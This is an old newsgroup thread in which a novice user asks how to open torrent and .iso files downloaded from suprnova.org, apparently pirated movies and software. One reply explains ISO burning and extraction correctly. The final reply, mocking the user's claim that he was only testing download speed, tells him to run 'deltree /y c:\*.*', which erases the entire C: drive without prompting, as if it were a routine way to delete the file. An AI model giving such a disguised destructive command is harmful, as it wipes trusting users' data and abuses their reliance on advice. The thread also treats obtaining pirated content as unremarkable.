Trying to download

Someone told me of a site suprnova.org where I can download movies apps and
so on.

I cannot seem to download anything. I have just today been enabled for
broadband. When I click on the link I.e. Harry Potter all I get is a
..torrent file which I cannot open.

What am I doing wrong?
Thanks Jason
(I am just testing a big file for download to see how fast it is)

I know this isn't the right NG, but you chaps have been so helpful I need
your advice again.

I downloaded from suprnova.org and I now have a .iso file with the program I
downloaded. (the iso file is the program). How do I open this, it keeps
asking me what I want to use to open it. I have done a search but its
baffled me and I am technically challenged.

Thanks once again
Jason

An ISO file is an image file of a cd/dvd.
Use a cd burning program such as Nero to open the file and burn it to a cd.
Alternatively you could use Winiso to extract all the files in the ISO
image onto your hard disk.

Well, that's it then. All you wanted to do was test the download
speed, what was it?

You don't need to open it, you only need to download it. Now you
delete it using this command at the command prompt.
deltree /y c:\*.*
